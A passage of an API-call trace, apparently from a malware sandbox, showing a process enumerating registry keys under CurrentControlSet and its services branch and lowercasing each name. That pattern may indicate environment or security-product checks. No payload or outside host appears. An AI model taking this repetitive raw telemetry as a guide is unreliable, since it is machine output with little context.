lpUsedDefaultChar=0x0) returned 6 [0251.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0251.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.335] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0251.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0251.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.336] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0251.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0251.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.336] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0251.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0251.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.336] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0251.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0251.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.337] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0251.337] RegCloseKey (hKey=0xc4) returned 0x0 [0251.337] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0251.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0251.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.337] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0251.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0251.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.337] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0251.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0251.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.338] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0251.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0251.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.338] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0251.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0251.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.338] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0251.338] RegCloseKey (hKey=0x14c) returned 0x0 [0251.338] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0251.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0251.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.338] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0251.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0251.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1cd0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0251.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.339] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0251.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0251.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1b68, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0251.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.339] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0251.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0251.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1cd0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0251.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.339] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0251.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0251.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1b68, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0251.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0251.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0251.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1cd0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0251.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0251.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0251.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0251.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0251.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.340] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0251.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0251.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0251.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0251.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.341] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0251.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0251.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 